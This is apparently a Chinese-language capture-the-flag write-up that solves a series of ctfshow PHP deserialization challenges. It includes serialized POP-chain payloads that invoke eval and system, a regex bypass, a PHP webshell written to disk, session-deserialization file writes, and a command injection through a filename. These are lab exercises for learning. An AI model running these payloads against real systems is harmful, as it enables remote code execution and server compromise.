- 前一篇写了反序列化的一些拓展,这一篇来练一些题
web254-基础1
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
- 保证类的username和password(值为xxxxxx)和传入的参数相等即可
?username=xxxxxx&password=xxxxxx
web255-基础2
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
- 相比较上一题多了一个步骤,需要cookie传参,将user变量实例化成ctfShowUser的对象
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$user=new ctfShowUser;
echo serialize($user);
?>
- 本来cookie传入就行了
user=O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}
- 但是看源码,login函数没有将isVip的值赋为1,所以手改一下值
user=O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
- 还是不对,虽然没有private或者protected造成的不可见字符,但是还是要编码才行
?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A
%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256-基础3
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
- 拿上一题的对象传进去就行了,控制username和password不相等
?username=a&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22
password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257-基础pop链
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
- 目标显然是backDoor的eval函数,ctfShowUser的析构函数存在同名函数漏洞,可以进入backDoor的getInfo,只需要将ctfShowUser的class属性实例化为backDoor的对象,$this->class->getInfo();就会自动帮我们调用
<?php
error_reporting(0);
//highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor;
}
}
class info{
private $user='xxxxxx';
}
class backDoor{
private $code="system('cat flag.php');";
}
$q=new ctfShowUser;
echo urlencode(serialize($q));
?>
- 得到
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22
%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00
isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%
3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web258-正则绕过
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
- 如果没有正则的话解答明显与上一道题是一模一样的,利用前面基础篇提到的+绕过正则即可
<?php
error_reporting(0);
//highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor;
}
}
class info{
private $user='xxxxxx';
}
class backDoor{
private $code="system('cat flag.php');";
}
$q=new ctfShowUser;
echo serialize($q);//把urlencode去掉了,方便添加加号
?>
- 得到
O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUseris
Vip";b:0;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat flag.php');";}}
- 按照流程要观察一下这里的正则过滤了什么,然后添加+号,然而我看不懂,,,之后专门学习一下正则单独开一篇吧
- 看wp,这里过滤了O:11:和O:8:
O:+11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUseriVip";b:0;s:18:"ctfShowUserclass";O:+8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat
flag.php');";}}
- 编码后
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22ctfShowUserusername%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22ctfShowUserpassword%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22ctfShowUserisVip%22%3Bb%3A0%3Bs%3A18%3A%22ctfShowUserclass%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22backDoorcode%22%3Bs%3A23%3A%22system('cat%20flag.php')%3B%22%3B%7D%7D
web259-soapclient
- 考察原生类配合crlf,后面单独开一篇
web260-基础4
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
- serialize用于序列化数组或者对象,如果用于其他东西就不起作用了
- 直接传入ctfshow=ctfshow
- 正则只是匹配了字符串有无xxxx,而不是要求字符串全等于xxxx,所以可以随便反序列化一个数组或者1对象
<?php
class ctf{
public $c = 'ctfshow_i_love_36D';
}
$a = serialize(new ctf());
echo urlencode($a);
?>
web261-自带unserialize
username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
- eval在invoke()里面,但是显然这道题触发不了invoke(),只能使用file_put_contents了,这个0x36d之前出过一个%00截断加翻转的弱比较题目,本题还是一样的使用10进制877,那么username是877.php即可,password是webshell
- 还有一个问题就是$data是怎么来的,在许多情况中,对象自己并不带有unseiralize函数,但是这里的类是带有unserilize函数的,那么反序列化时就会调用类自己拥有的函数,同时进行默认的反序列化操作
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
- ?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";}
web262-字符逃逸
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
- 这不就是之前的字符逃逸那一篇里面的原题吗,这里就不投机取巧直接改admin了,联系一下字符逃逸
- 先随便序列化一段信息
<?php
class message{
public $from='1';
public $msg='2';
public $to='3';
public $token='user';
}
$a=new message();
echo serialize($a);
?>
- 得到
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
- 将to的值改一下,现在得到的字符串已经可以成功的过验证了
O:7:"message":4:
{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"us
er";}
- 此时原脚本应该是
- 生成的新信息为
O:7:"message":4:
{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"u
ser";}
-
此时to的值长度为28,根据构造的闭环,值应该是1,就少了27位
-
注意到原文将fuck正则替换成loveu,所以to的值里面每有一个fuck,字符串就会凭空多出来一个,那么就传27个fuck就行了
- 所以?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckf
uckfuckfuckfuck";s:5:"token";s:5:"admin";} - (小插曲)太感动了,这道题终于出flag了,上面有几道题目死活出不了flag,甚至直接照抄网上的wp都不行😭
web263-session反序列化
-
查看源代码,有个check.php,访问得到一个{"0":"error","msg":"\u767b\u9646\u5931\u8d25"}
-
啊?转换出来是"登录失败"😒,原来是www.zip文件泄露
-
inc.php里面有个设置解释器的,很明显是session反序列化了
ini_set('session.serialize_handler', 'php');
- index.php
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));//
$_SESSION['limit']= 1;
}
?>
- check.php
$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
- php不断把cookie传参给session,所以session是可控的,同时页面又把解释器给改了,就可以把session的值替换成我们想要发序列化的内容即可
- inc.php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
- 正好inc.php里面有个可以利用的写文件,但是被污染了,显然文件名是无关紧要的,只不过在设定的文件名前面多了一个log-,一开始没反应过来,其实后面对于内容的污染也是无关紧要的,因为有\<?php ?>标签的闭环
<?php
class User{
public $username='a.php';
public $password='<?php system("cat f*");?>';
public $status='a';
}
$a=new User();
echo base64_encode('|'.serialize($a));//原文有个base64decode
- 得到fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJhLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgc3lzdGVtKCJjYXQgZioiKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==
- 按照网上的wp,访问index.php,抓包改cookie,然后访问check.php触发反序列化,写入log-a.php,但是访问是404😭ctfshow日常没flag
web264-字符逃逸2
index.php
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
- 题目大致和web262一样的,只不过cookie传参变成了session传参,同时要随便设置一个cookie才行2
cookie: msg=1
?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265-指针
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
- php可以让变量执行另一个变量的地址,实现两个变量的值始终相等
$a='123';
$b=&$a;
$b=1;
echo $a;
- 同时反序列化正好也可以记录下来这种指针关系,那么很容易得到poc
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password =&$this->token;
}
$a=new ctfshowAdmin();
echo serialize($a);
- 得到
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
- 传入即可?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
web266-大小写敏感
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
- $cs = file_get_contents('php://input');这个就是说cs的值来源于post的传参了
- ctfshow中的构造函数要过显然是很容易的,只要不初始化值,两个属性值就是默认且相等了,只需要实例化一个ctfshow的类就可以了,但是下面的正则匹配了ctfshow
- 这里考察了反序列化对大小写不敏感,随便实例化一个大写的ctfshow即可
<?php
class CTFSHOW{
}
$a=new ctfshow();
echo serialize($a);
- 得到
O:7:"CTFSHOW":0:{}
- post传入O:7:"CTFSHOW":0:{},注意hackbar的post是必须要传入a=b形式的字符串1,所以必须要burpsuit才能完成传参
- 实际上由于反序列化对大小写不敏感,随便怎么大小写都能过,比如O:7:"cTFSHOW":0:{},O:7:"cTfshoW":0:{}之类的
web267~274-框架漏洞
- 都是框架漏洞哇
web275-命令执行
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
- 如果checkevil()===false,后面的对随机数进行md5的操作是没有操作空间的,但是如果$this->evilfile\=\=\=true,就会执行system('rm '.$this->filename);就存在命令执行了
- 只需要$this->filename=1.txt;cat /f*并且post传入flag触发checkfile即可
- get传入?fn=1.txt;tac /fl*并且post传入flag(本目录恰好有个文件也是f开头,ls可以看到,所以是fl,cat莫名其妙的不行,所以tac)
web276-phar条件竞争
- 要写python脚本,后面单开一篇
web277~278-python反序列化
- 第一次做python反序列化,得单开一篇